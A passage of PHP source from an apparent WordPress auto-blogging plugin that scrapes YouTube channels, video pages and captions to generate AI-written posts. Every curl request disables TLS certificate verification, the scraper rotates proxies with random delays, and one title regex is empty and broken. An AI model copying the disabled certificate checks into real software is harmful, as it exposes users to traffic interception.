                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                        aiomatic_log_to_file('Skipping RSS title because it was already processed before: ' . $itemx->get_title());
                                                    }
                                                    continue;
                                                }
                                                if ($fauthor = $itemx->get_author()) 
                                                {
                                                    $user_name_temp = $fauthor->get_name();
                                                }
                                                else
                                                {
                                                    $user_name_temp = '';
                                                }
                                                $feed_cats = array();
                                                if(isset($itemx->category))
                                                {
                                                    foreach($itemx->category as $cata)
                                                    {
                                                        $feed_cats[] = $cata->__toString();
                                                    }
                                                    if(count($feed_cats) == 0)
                                                    {
                                                        $feed_cats[] = $itemx->category->__toString();
                                                    }
                                                    $post_cats_temp = implode(',', $feed_cats);
                                                }
                                                else
                                                {
                                                    $post_cats_temp = '';
                                                }
                                                $post_excerpt_temp = $itemx->get_description();
                                                $final_content_temp = $itemx->get_content();
                                                $rss_feeds[$itemx->get_title()] = array('url' => $post_link_temp, 'author' => $user_name_temp,  'cats' => $post_cats_temp, 'excerpt' => $post_excerpt_temp, 'content' => $final_content_temp );
                                            }
                                            $additional_kws[] = $itemx->get_permalink();
                                            $zero = false;
                                        }
                                        unset($url_list_lines[$ji]);
                                    }
                                }
                            }
                            if(count($additional_kws) > 0)
                            {
                                $url_list_lines = array_merge($url_list_lines, $additional_kws);
                            }
                            $url_list_lines = array_unique($url_list_lines);
                            foreach($url_list_lines as $zindedx => $urlline)
                            {
                                preg_match_all('#https:\/\/(?:www\.)?youtube\.com\/@([^\/\n\s]+)#i', $urlline, $hmatches);
                                if(isset($hmatches[1][0]))
                                {
                                    $videos_ok = false;
                                    if (isset($aiomatic_Main_Settings['yt_app_id']) && trim($aiomatic_Main_Settings['yt_app_id']) != '') 
                                    {
                                        aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Getting videos from channel'));
                                        $channel_id = '';
                                        $za_app = explode(',', $aiomatic_Main_Settings['yt_app_id']);
                                        $za_app = trim($za_app[array_rand($za_app)]);
                                        $chfound = false;
                                        $channel_link="https://www.googleapis.com/youtube/v3/search?part=snippet&type=channel&maxResults=1&q=" . trim(trim($hmatches[1][0]), '@') . "&key=" . $za_app;
                                        $chid      = aiomatic_get_web_page($channel_link);
                                        if (stristr($chid, 'items')) {
                                            $ch_json = json_decode($chid);
                                            $channels      = $ch_json->items;
                                            foreach ($channels as $channel) 
                                            {
                                                if(isset($channel->id->channelId))
                                                {
                                                    $channel_id = $channel->id->channelId;
                                                    $chfound = true;
                                                    break;
                                                }
                                            }
                                        }
                                        else
                                        {
                                            aiomatic_log_to_file('Failed to find YouTube channel ID: ' . $hmatches[1][0]);
                                        }
                                        if($chfound == true)
                                        {
                                            $feed_uri = 'https://www.googleapis.com/youtube/v3/search?part=snippet&type=video&key=' . $za_app;
                                            $feed_uri .= '&maxResults=50';
                                            $feed_uri .= '&channelId=' . $channel_id;
                                            $feed_uri .= '&order=date';
                                            $chid   = aiomatic_get_web_page($feed_uri);
                                            $ytjson = json_decode($chid);
                                            if($ytjson === null)
                                            {
                                                aiomatic_log_to_file('Failed to get video info for channel: ' . $channel_id); 
                                            }
                                            else
                                            {
                                                if(isset($ytjson->items))
                                                {
                                                    $zitems = $ytjson->items;
                                                    foreach ($zitems as $zitem) 
                                                    {
                                                        $url_list_lines[] = 'https://www.youtube.com/watch?v=' . $zitem->id->videoId;
                                                        $videos_ok = true;
                                                    }
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('Failed to decode channel results: ' . print_r($ytjson, true)); 
                                                }
                                            }
                                        }
                                    }
                                    if($videos_ok === false)
                                    {
                                        aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Getting videos from channel using direct method'));
                                        $chch  = curl_init();
                                        if ($chch !== FALSE) 
                                        {
                                            if (isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') {
                                                $prx = explode(',', $aiomatic_Main_Settings['proxy_url']);
                                                $randomness = array_rand($prx);
                                                curl_setopt( $chch, CURLOPT_PROXY, trim($prx[$randomness]));
                                                if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') 
                                                {
                                                    $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']);
                                                    if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '')
                                                    {
                                                        curl_setopt( $chch, CURLOPT_PROXYUSERPWD, trim($prx_auth[$randomness]));
                                                    }
                                                }
                                            }
                                            curl_setopt($chch, CURLOPT_CONNECTTIMEOUT, 10);
                                            if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '')
                                            {
                                                $ztime = intval($aiomatic_Main_Settings['max_timeout']);
                                            }
                                            else
                                            {
                                                $ztime = 300;
                                            }
                                            curl_setopt($chch, CURLOPT_TIMEOUT, $ztime);
                                            curl_setopt($chch, CURLOPT_HTTPGET, 1);
                                            curl_setopt($chch, CURLOPT_REFERER, get_site_url());
                                            curl_setopt($chch, CURLOPT_URL, 'https://www.youtube.com/@' . $hmatches[1][0] . '/');
                                            curl_setopt($chch, CURLOPT_RETURNTRANSFER, 1);
                                            curl_setopt($chch, CURLOPT_SSL_VERIFYHOST, 0);
                                            curl_setopt($chch, CURLOPT_SSL_VERIFYPEER, 0);
                                            $za_video_page = curl_exec($chch);
                                            if($za_video_page === false)
                                            {
                                                aiomatic_log_to_file('Failed to download channel listing: ' . $urlline);
                                            }
                                            else
                                            {
                                                preg_match_all('#"videoIds":\["([^"]*?)"\]#i', $za_video_page, $hmatches);
                                                if(isset($hmatches[1][0]))
                                                {
                                                    $vms = array_unique($hmatches[1]);
                                                    $vms = array_reverse($vms);
                                                    foreach($vms as $vma)
                                                    {   
                                                        $url_list_lines[] = 'https://www.youtube.com/watch?v=' . $vma;
                                                    }
                                                }
                                            }
                                            curl_close($chch);
                                            $rand_sleep = rand(400, 700);
                                            usleep($rand_sleep * 1000);
                                        }
                                        else
                                        {
                                            aiomatic_log_to_file('Failed to init curl in channel listing: ' . $urlline);
                                        }
                                    }
                                    unset($url_list_lines[$zindedx]);
                                }
                            }
                            if($overwrite_existing == '1')
                            {
                                $url_list_lines_processed = array();
                                foreach($url_list_lines as $indx => $ptl)
                                {
                                    $ptlprocessed = explode('!###!', $ptl);
                                    if(isset($ptlprocessed[1]) && !empty($ptlprocessed[1]) && !empty($ptlprocessed[0]))
                                    {
                                        $url_list_lines_processed[$indx] = $ptlprocessed[0];
                                    }
                                    else
                                    {
                                        $url_list_lines_processed[$indx] = $ptl;
                                    }
                                }
                                foreach($posted_items as $ptit => $pid)
                                {
                                    if (($key = array_search($ptit, $url_list_lines_processed)) !== false) {
                                        $update_post_id = $pid;
                                        break;
                                    }
                                }
                            }
                            else
                            {
                                if($title_once == '1')
                                {
                                    $skipt = 0;
                                    $url_list_lines_processed = array();
                                    foreach($url_list_lines as $indx => $ptl)
                                    {
                                        $ptlprocessed = explode('!###!', $ptl);
                                        if(isset($ptlprocessed[1]) && !empty($ptlprocessed[1]) && !empty($ptlprocessed[0]))
                                        {
                                            $url_list_lines_processed[$indx] = $ptlprocessed[0];
                                        }
                                        else
                                        {
                                            $url_list_lines_processed[$indx] = $ptl;
                                        }
                                    }
                                    foreach($posted_items as $ptit => $pid)
                                    {
                                        if (($key = array_search($ptit, $url_list_lines_processed)) !== false) {
                                            aiomatic_log_to_file('Skipping YouTube title, already processed: ' . $ptit);
                                            unset($url_list_lines[$key]);
                                            unset($url_list_lines_processed[$key]);
                                            $skipt++;
                                        }
                                    }
                                    if(count($url_list_lines) == 0 && $skipt > 0)
                                    {
                                        if (isset($aiomatic_Main_Settings['email_notification']) && $aiomatic_Main_Settings['email_notification'] != '')
                                        {
                                            if($count === 1)
                                            {
                                                $email_list = explode(',', $aiomatic_Main_Settings['email_notification']);
                                                foreach($email_list as $thisaddr)
                                                {
                                                    $thisaddr = trim($thisaddr);
                                                    try
                                                    {
                                                        $to        = $thisaddr;
                                                        $subject   = '[Aiomatic] YouTube URLs depleted rule ID ' . $param . ' - ' . aiomatic_get_date_now();
                                                        $message   = 'YouTube Rule ID ' . esc_html($param) . ' (' . $rule_description . ') depleted its YouTube URLs list, no new posts publised! Website URL: ' . get_site_url();
                                                        $headers[] = 'From: Aiomatic Plugin ';
                                                        $headers[] = 'Reply-To: noreply@noreply.net';
                                                        $headers[] = 'X-Mailer: PHP/' . phpversion();
                                                        $headers[] = 'Content-Type: text/html';
                                                        $headers[] = 'Charset: ' . get_option('blog_charset', 'UTF-8');
                                                        wp_mail($to, $subject, $message, $headers);
                                                    }
                                                    catch (Exception $e) {
                                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                            aiomatic_log_to_file('Failed to send mail: Exception thrown ' . esc_html($e->getMessage()) . '!');
                                                        }
                                                    }
                                                }
                                            }
                                        }
                                        aiomatic_log_to_file('All YouTube URLs already processed, nothing to do.');
                                        if($auto == 1)
                                        {
                                            aiomatic_clearFromList($param, $type);
                                        }
                                        return 'nochange';
                                    }
                                }
                            }
                            $spintax = new AIomatic_Spintax();
                            $orig_ai_command = $ai_command;
                            $orig_ai_command_title = $title_ai_command;
                            $orig_ai_command_category = $category_ai_command;
                            $orig_ai_command_tag = $tag_ai_command;
                            $orig_ai_command_image = $ai_command_image;
                            $already_spinned = 0;
                            if(isset($aiomatic_Main_Settings['attr_text']) && $aiomatic_Main_Settings['attr_text'] != '')
                            {
                                $img_attr = $aiomatic_Main_Settings['attr_text'];
                            }
                            else
                            {
                                $img_attr = '';
                            }
                            $headings_arr = array();
                            if($images_list != '')
                            {
                                $images_arr = preg_split('/\r\n|\r|\n/', $images_list);
                                $images_arr = array_map('trim', $images_arr);
                            }
                            else
                            {
                                $images_arr = array();
                            }
                            while(true) 
                            {
                                $thread_id = '';
                                $my_title_outro = '';
                                if ($count > intval($max)) {
                                    break;
                                }
                                $heading_image_loc = $heading_img_location;
                                if($heading_image_loc == 'random')
                                {
                                    $xwords = array('top', 'heading', 'bottom');
                                    $randomWord = $xwords[array_rand($xwords)];
                                    $heading_image_loc = $randomWord;
                                }
                                $update_post_id  = '';
                                $current_section = '';
                                $post_sections = '';
                                $post_topic = '';
                                $post_title_keywords = '';
                                $headings_arr_copy = $headings_arr;
                                $added_img_list = array();
                                $raw_img_list = array();
                                $full_result_list = array();
                                $added_images = 0;
                                $heading_results = array();
                                if(count($url_list_lines) == 0)
                                {
                                    break;
                                }
                                if ($count > intval($max)) {
                                    break;
                                }
                                if($no_random == '1')
                                {
                                    $current_index = array_key_first($url_list_lines);
                                }
                                else
                                {
                                    if (!isset($aiomatic_Main_Settings['no_random_titles']) || $aiomatic_Main_Settings['no_random_titles'] != 'on')
                                    {
                                        $current_index = array_rand($url_list_lines);
                                    }
                                    else
                                    {
                                        $current_index = array_key_first($url_list_lines);
                                    }
                                }
                                $video_url = trim($url_list_lines[$current_index]);
                                if($title_once == '1')
                                {
                                    unset($url_list_lines[$current_index]);
                                }
                                $ptlprocessed = explode('!###!', $video_url);
                                if(isset($ptlprocessed[1]) && !empty($ptlprocessed[1]) && !empty($ptlprocessed[0]))
                                {
                                    $video_url = $ptlprocessed[0];
                                    $post_title_keywords = $ptlprocessed[1];
                                }
                                if(isset($rss_feeds[$video_url]))
                                {
                                    $post_link = $rss_feeds[$video_url]['url'];
                                    $user_name = $rss_feeds[$video_url]['author'];
                                    $post_cats = $rss_feeds[$video_url]['cats'];
                                    $post_excerpt = $rss_feeds[$video_url]['excerpt'];
                                    $final_content = $rss_feeds[$video_url]['content'];
                                }
                                $tprepp = $spintax->Parse($video_url);
                                if($tprepp != false && $tprepp != '')
                                {
                                    $video_url = $tprepp;
                                }
                                $video_url = aiomatic_replaceSynergyShortcodes($video_url);
                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                {
                                    aiomatic_log_to_file('Starting processing YouTube data: ' . $video_url);
                                }
                                $old_title = $video_url;
                                $already_spinned = 0;
                                if (!stristr($video_url, 'youtu') && !stristr($video_url, 'http'))
                                {
                                    if (isset($aiomatic_Main_Settings['yt_app_id']) && trim($aiomatic_Main_Settings['yt_app_id']) != '') 
                                    {
                                        $za_app = explode(',', $aiomatic_Main_Settings['yt_app_id']);
                                        $za_app = trim($za_app[array_rand($za_app)]);
                                        $feed_uri = 'https://www.googleapis.com/youtube/v3/search?part=snippet&type=video&key=' . $za_app;
                                        $feed_uri .= '&maxResults=50';
                                        $feed_uri .= '&q='.urlencode(trim(stripslashes(str_replace('"', '"', $video_url))));
                                        $feed_uri .= '&order=date';
                                        $chid   = aiomatic_get_web_page($feed_uri);
                                        $ytjson = json_decode($chid);
                                        if($ytjson === null)
                                        {
                                            aiomatic_log_to_file('Failed to get video info for youtube keyword: ' . $video_url); 
                                            unset($url_list_lines[$current_index]);
                                            break;
                                        }
                                        else
                                        {
                                            if(isset($ytjson->items))
                                            {
                                                $zitems = $ytjson->items;
                                                foreach ($zitems as $zitem) 
                                                {
                                                    $video_url = 'https://www.youtube.com/watch?v=' . $zitem->id->videoId;
                                                }
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Failed to decode video search results: ' . print_r($ytjson, true)); 
                                                unset($url_list_lines[$current_index]);
                                                break;
                                            }
                                        }
                                    }
                                    else
                                    {
                                        aiomatic_log_to_file('Only YouTube URLs are supported, this does not seem to be a YouTube video URL: ' . $video_url);
                                        unset($url_list_lines[$current_index]);
                                        break;
                                    }
                                }
                                $allmodels = aiomatic_get_all_models();
                                $custom_shortcodes_arr = preg_split('/\r\n|\r|\n/', $custom_shortcodes);
                                foreach($custom_shortcodes_arr as $my_short)
                                {
                                    $name_part = explode('=>', $my_short);
                                    if(isset($name_part[1]) && !empty(trim($name_part[1])))
                                    {
                                        $shortname = trim($name_part[0]);
                                        if(strstr($video_url, '%%' . $shortname . '%%'))
                                        {
                                            $shortval = '';
                                            $ai_part = explode('@@', $name_part[1]);
                                            if(isset($ai_part[1]) && !empty(trim($ai_part[1])))
                                            {
                                                if(!in_array(trim($ai_part[0]), $allmodels))
                                                {
                                                    $aimodel = get_default_model_name($aiomatic_Main_Settings);
                                                }
                                                else
                                                {
                                                    $aimodel = trim($ai_part[0]);
                                                }
                                                $zai_command = trim($ai_part[1]);
                                                $zmax_tokens = aiomatic_get_max_tokens($aimodel);
                                                $zquery_token_count = count(aiomatic_encode($zai_command));
                                                $zavailable_tokens = aiomatic_compute_available_tokens($aimodel, $zmax_tokens, $zai_command, $zquery_token_count);
                                                if($zavailable_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                                                {
                                                    $string_len = strlen($zai_command);
                                                    $string_len = $string_len / 2;
                                                    $string_len = intval(0 - $string_len);
                                                    $zai_command = aiomatic_substr($zai_command, 0, $string_len);
                                                    $zai_command = trim($zai_command);
                                                    $zquery_token_count = count(aiomatic_encode($zai_command));
                                                    $zavailable_tokens = $zmax_tokens - $zquery_token_count;
                                                }
                                                $aierror = '';
                                                $finish_reason = '';
                                                $ztemperature = 1;
                                                $ztop_p = 1;
                                                $zpresence_penalty = 0;
                                                $zfrequency_penalty = 0;
                                                if(!empty($global_prepend))
                                                {
                                                    $zai_command = $global_prepend . ' ' . $zai_command;
                                                }
                                                if(!empty($global_append))
                                                {
                                                    $zai_command = $zai_command . ' ' . $global_append;
                                                }
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                {
                                                    $api_service = aiomatic_get_api_service($token, $aimodel);
                                                    aiomatic_log_to_file('Calling ' . $api_service . ' (' . $assistant_id . '/' . $aimodel . ') for custom shortcode text: ' . $zai_command);
                                                }
                                                aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating custom shortcodes'));
                                                $generated_text = aiomatic_generate_text($token, $aimodel, $zai_command, $zavailable_tokens, $ztemperature, $ztop_p, $zpresence_penalty, $zfrequency_penalty, false, 'customShortcode', 0, $finish_reason, $aierror, true, false, false, '', '', 'user', $assistant_id, $thread_id, '', 'disabled', '', true);
                                                if($generated_text === false)
                                                {
                                                    aiomatic_log_to_file('Custom shortcode generator error: ' . $aierror);
                                                }
                                                else
                                                {
                                                    $shortval = trim(trim(trim(trim($generated_text), '.'), ' “â€â€˜â€™"\''));
                                                }
                                            }
                                            $video_url = str_replace('%%' . $shortname . '%%', $shortval, $video_url);
                                        }
                                    }
                                } 
                                $video_url = aiomatic_replaceSynergyShortcodes($video_url);
                                $video_url = apply_filters('aiomatic_replace_aicontent_shortcode', $video_url);
                                if(empty($video_url))
                                {
                                    aiomatic_log_to_file('Empty Video URL Submitted: ' . $video_url);
                                    unset($url_list_lines[$current_index]);
                                    break;
                                }
                                
                                $za_video_page = '';
                                $returned_caption = '';
                                $ch  = curl_init();
                                if ($ch !== FALSE) 
                                {
                                    if (isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') {
                                        $prx = explode(',', $aiomatic_Main_Settings['proxy_url']);
                                        $randomness = array_rand($prx);
                                        curl_setopt( $ch, CURLOPT_PROXY, trim($prx[$randomness]));
                                        if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') 
                                        {
                                            $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']);
                                            if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '')
                                            {
                                                curl_setopt( $ch, CURLOPT_PROXYUSERPWD, trim($prx_auth[$randomness]));
                                            }
                                        }
                                    }
                                    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
                                    if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '')
                                    {
                                        $ztime = intval($aiomatic_Main_Settings['max_timeout']);
                                    }
                                    else
                                    {
                                        $ztime = 300;
                                    }
                                    curl_setopt($ch, CURLOPT_TIMEOUT, $ztime);
                                    curl_setopt($ch, CURLOPT_HTTPGET, 1);
                                    curl_setopt($ch, CURLOPT_REFERER, get_site_url());
                                    curl_setopt($ch, CURLOPT_URL, $video_url);
                                    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                                    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
                                    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
                                    $za_video_page = curl_exec($ch);
                                    if($za_video_page === false)
                                    {
                                        aiomatic_log_to_file('Failed to download video URL: ' . $video_url);
                                    }
                                    curl_close($ch);
                                }
                                else
                                {
                                    aiomatic_log_to_file('Failed to init curl in video listing: ' . $video_url);
                                }
                                $post_title = '';
                                $post_desc = '';
                                if($za_video_page !== false && strstr($za_video_page, 'vssId') !== false)
                                {
                                    preg_match_all('##i', $za_video_page, $zmatches);
                                    if(isset($zmatches[1][0]))
                                    {
                                        $post_title = $zmatches[1][0];
                                    }
                                    else
                                    {
                                        preg_match_all('#([^"]*?) - YouTube<\/title>#i', $za_video_page, $zmatches);
                                        if(isset($zmatches[1][0]))
                                        {
                                            $post_title = $zmatches[1][0];
                                        }
                                        else
                                        {
                                            preg_match_all('#<meta property="og:title" content="([^"]*?)">#i', $za_video_page, $zmatches);
                                            if(isset($zmatches[1][0]))
                                            {
                                                $post_title = $zmatches[1][0];
                                            }
                                            else
                                            {
                                                preg_match_all('#<meta property="twitter:title" content="([^"]*?)">#i', $za_video_page, $zmatches);
                                                if(isset($zmatches[1][0]))
                                                {
                                                    $post_title = $zmatches[1][0];
                                                }
                                                else
                                                {
                                                    preg_match_all('#<meta itemprop="name" content="([^"]*?)">#i', $za_video_page, $zmatches);
                                                    if(isset($zmatches[1][0]))
                                                    {
                                                        $post_title = $zmatches[1][0];
                                                    }
                                                }
                                            }
                                        }
                                    }
                                    preg_match_all('#"description":{"simpleText":"([^"]*?)"#i', $za_video_page, $zmatches);
                                    if(isset($zmatches[1][0]))
                                    {
                                        $post_desc = $zmatches[1][0];
                                    }
                                    else
                                    {
                                        preg_match_all('#"attributedDescription":{"content":"([^"]*?)"#i', $za_video_page, $zmatches);
                                        if(isset($zmatches[1][0]))
                                        {
                                            $post_desc = $zmatches[1][0];
                                        }
                                        else
                                        {
                                            preg_match_all('#"attributedDescriptionBodyText":{"content":"([^"]*?)"#i', $za_video_page, $zmatches);
                                            if(isset($zmatches[1][0]))
                                            {
                                                $post_desc = $zmatches[1][0];
                                            }
                                            else
                                            {
                                                preg_match_all('#"shortDescription":"([^"]*?)"#i', $za_video_page, $zmatches);
                                                if(isset($zmatches[1][0]))
                                                {
                                                    $post_desc = $zmatches[1][0];
                                                }
                                            }
                                        }
                                    }
                                    $srt_dl_link = '';
                                    preg_match_all('#{"baseUrl":"([^"]+?)","name":(?:.*?),"vssId":"a?\.([^"]+?)","languageCode":"(?:[^"]+?)",(?:"kind":"asr",)?"isTranslatable":(?:[^}]+?)}#i', $za_video_page, $zmatches);
                                    if(isset($zmatches[1][0]))
                                    {
                                        $eng_f = false;
                                        if(in_array('en', $zmatches[2]))
                                        {
                                            $eng_f = true;
                                        }
                                        for($i = 0; $i < count($zmatches[1]); $i++)
                                        {
                                            if(count($default_lang) > 0)
                                            {
                                                if(in_array($zmatches[2][$i], $default_lang))
                                                {
                                                    $srt_dl_link = str_replace('\u0026', '&', $zmatches[1][$i]);
                                                    break;
                                                }
                                            }
                                            else
                                            {
                                                if(!$eng_f)
                                                {
                                                    $srt_dl_link = str_replace('\u0026', '&', $zmatches[1][$i]);
                                                    break;
                                                }
                                                elseif($zmatches[2][$i] == 'en')
                                                {
                                                    $srt_dl_link = str_replace('\u0026', '&', $zmatches[1][$i]);
                                                    break;
                                                }
                                            }
                                        }
                                        if($srt_dl_link !== '')
                                        {
                                            $ch  = curl_init();
                                            if ($ch !== FALSE) 
                                            {
                                                if (isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') {
                                                    $prx = explode(',', $aiomatic_Main_Settings['proxy_url']);
                                                    $randomness = array_rand($prx);
                                                    curl_setopt( $ch, CURLOPT_PROXY, trim($prx[$randomness]));
                                                    if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') 
                                                    {
                                                        $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']);
                                                        if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '')
                                                        {
                                                            curl_setopt( $ch, CURLOPT_PROXYUSERPWD, trim($prx_auth[$randomness]));
                                                        }
                                                    }
                                                }
                                                curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
                                                if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '')
                                                {
                                                    $ztime = intval($aiomatic_Main_Settings['max_timeout']);
                                                }
                                                else
                                                {
                                                    $ztime = 300;
                                                }
                                                curl_setopt($ch, CURLOPT_TIMEOUT, $ztime);
                                                curl_setopt($ch, CURLOPT_HTTPGET, 1);
                                                curl_setopt($ch, CURLOPT_REFERER, get_site_url());
                                                curl_setopt($ch, CURLOPT_URL, $srt_dl_link);
                                                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                                                curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
                                                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
                                                $xza_video_page = curl_exec($ch);
                                                if(!empty($xza_video_page))
                                                {
                                                    $returned_caption = $xza_video_page;
                                                    $returned_caption = preg_replace('#\s+#', ' ', $returned_caption);
                                                }
                                                curl_close($ch);
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Failed to init curl in subtitle listing: ' . $video_url);
                                            }   
                                        }
                                    }
                                }
                                if(empty($returned_caption))
                                {
                                    aiomatic_log_to_file('[WARNING] Failed to find subtitles for video URL: ' . $video_url);
                                    break;
                                }
                                if(stristr($returned_caption, 'transcript'))
                                {
                                    aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Getting video transcript'));
                                    $raw_returned_caption = preg_replace('#\s*?(?:start|dur)="[\d.]*?"\s*?#','', $returned_caption);
                                    $raw_returned_caption = preg_replace('#\[[A-Z][a-z]+\]#','', $raw_returned_caption);
                                    $returned_caption = '';
                                    $capt = new SimpleXMLElement($raw_returned_caption);
                                    $counter = 0;
                                    if(isset($capt->text))
                                    {
                                        foreach($capt->text as $entry) 
                                        {
                                            if($counter == 0)
                                            {
                                                $returned_caption .= ucfirst($entry) . ' ';
                                            }
                                            else
                                            {
                                                $returned_caption .= $entry . ' ';
                                            }
                                            if($counter >= 8)
                                            {
                                                $returned_caption = rtrim($returned_caption);
                                                if(substr($returned_caption, -1) != '.')
                                                {
                                                    $returned_caption .= '.';
                                                }
                                                $returned_caption .= '<br/><br/>';
                                                $counter = 0;
                                            }
                                            else
                                            {
                                                $counter++;
                                            }
                                        }
                                    }
                                    $returned_caption = trim($returned_caption);
                                }
                                if($max_caption != '')
                                {
                                    $max_caption = intval($max_caption);
                                    $returned_caption = substr($returned_caption, 0, $max_caption);
                                }
                                $youtube_thumb = '';
                                preg_match_all('#<link rel="image_src" href="([^"]*?)">#i', $za_video_page, $zmatches);
                                if(isset($zmatches[1][0]))
                                {
                                    $youtube_thumb = $zmatches[1][0];
                                }
                                else
                                {
                                    preg_match_all('#<meta property="og:image" content="([^"]*?)">#i', $za_video_page, $zmatches);
                                    if(isset($zmatches[1][0]))
                                    {
                                        $youtube_thumb = $zmatches[1][0];
                                    }
                                    else
                                    {
                                        preg_match_all('#<meta name="twitter:image" content="([^"]*?)">#i', $za_video_page, $zmatches);
                                        if(isset($zmatches[1][0]))
                                        {
                                            $youtube_thumb = $zmatches[1][0];
                                        }
                                        else
                                        {
                                            preg_match_all('#<link itemprop="thumbnailUrl" href="([^"]*?)">#i', $za_video_page, $zmatches);
                                            if(isset($zmatches[1][0]))
                                            {
                                                $youtube_thumb = $zmatches[1][0];
                                            }
                                        }
                                    }
                                }
                                if($ai_titles == '1')
                                {
                                    if($title_prompt != '')
                                    {
                                        if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on')
                                        {
                                            $title_prompt_arr = preg_split('/\r\n|\r|\n/', $title_prompt);
                                            $my_title_prompt = $title_prompt_arr[array_rand($title_prompt_arr)];
                                        }
                                        else
                                        {
                                            $my_title_prompt = $title_prompt;
                                        }
                                        $zatitle_prompt = aiomatic_replace_youtube($my_title_prompt, $post_title, $post_desc, $video_url, $returned_caption, $content_language, $writing_style, $writing_tone, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list);
                                        if(stristr($run_regex_on, 'title') !== false)
                                        {
                                            if ($strip_by_regex_prompts !== '')
                                            {
                                                $xstrip_by_regex = preg_split('/\r\n|\r|\n/', $strip_by_regex_prompts);
                                                $xreplace_regex = preg_split('/\r\n|\r|\n/', $replace_regex_prompts);
                                                $xcnt = 0;
                                                foreach($xstrip_by_regex as $sbr)
                                                {
                                                    if(isset($xreplace_regex[$xcnt]))
                                                    {
                                                        $repreg = $xreplace_regex[$xcnt];
                                                    }
                                                    else
                                                    {
                                                        $repreg = '';
                                                    }
                                                    $xcnt++;
                                                    $temp_cont = preg_replace("~" . $sbr . "~i", $repreg, $zatitle_prompt);
                                                    if($temp_cont !== NULL)
                                                    {
                                                        $zatitle_prompt = $temp_cont;
                                                    }
                                                }
                                            }
                                        }
                                        if($zatitle_prompt != '')
                                        {
                                            aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating title based on YouTube video'));
                                            $written = aiomatic_write_content($zatitle_prompt, $topic_title_model, $temperature, $top_p, $presence_penalty, $frequency_penalty, $max_tokens, $token, $global_prepend, $global_append, true, false, 'title', 'user', $assistant_id, $thread_id);
                                            if($written === false)
                                            {
                                                aiomatic_log_to_file('Failed to generate title!');
                                                if($auto == 1)
                                                {
                                                    aiomatic_clearFromList($param, $type);
                                                }
                                                return 'fail';
                                            }
                                            else
                                            {
                                                $written = ucfirst(trim(trim(trim(trim($written), '.'), ' “â€â€˜â€™"\'')));
                                                $post_title = $written;
                                            }
                                        }
                                        else
                                        {
                                            aiomatic_log_to_file('Empty processed title prompt. Nothing to do.');
                                            if($auto == 1)
                                            {
                                                aiomatic_clearFromList($param, $type);
                                            }
                                            return 'fail';
                                        }
                                    }
                                }
                                if (strpos($post_title, '%%') === false)
                                {
                                    if (!isset($aiomatic_Main_Settings['do_not_check_duplicates']) || $aiomatic_Main_Settings['do_not_check_duplicates'] != 'on') 
                                    {
                                        $xposts = get_posts(
                                            array(
                                                'post_type'              => $post_type,
                                                'title'                  => html_entity_decode($post_title),
                                                'post_status'            => 'all',
                                                'numberposts'            => 1,
                                                'update_post_term_cache' => false,
                                                'update_post_meta_cache' => false,           
                                                'orderby'                => 'post_date ID',
                                                'order'                  => 'ASC',
                                            )
                                        );
                                        if ( ! empty( $xposts ) ) {
                                            $zap = $xposts[0];
                                        } else {
                                            $zap = null;
                                        }
                                        if($zap !== null)
                                        {
                                            if($overwrite_existing)
                                            {
                                                $update_post_id = $zap->ID;
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Post with specified title found to be existing, skipping it: ' . $post_title);
                                                unset($url_list_lines[$current_index]);
                                                continue;
                                            }
                                        }
                                    }
                                    $new_post_title = $post_title;
                                }
                                else
                                {
                                    $new_post_title = $post_title;
                                    $new_post_title = aiomatic_replaceContentShortcodes($new_post_title, $img_attr, $ai_command);
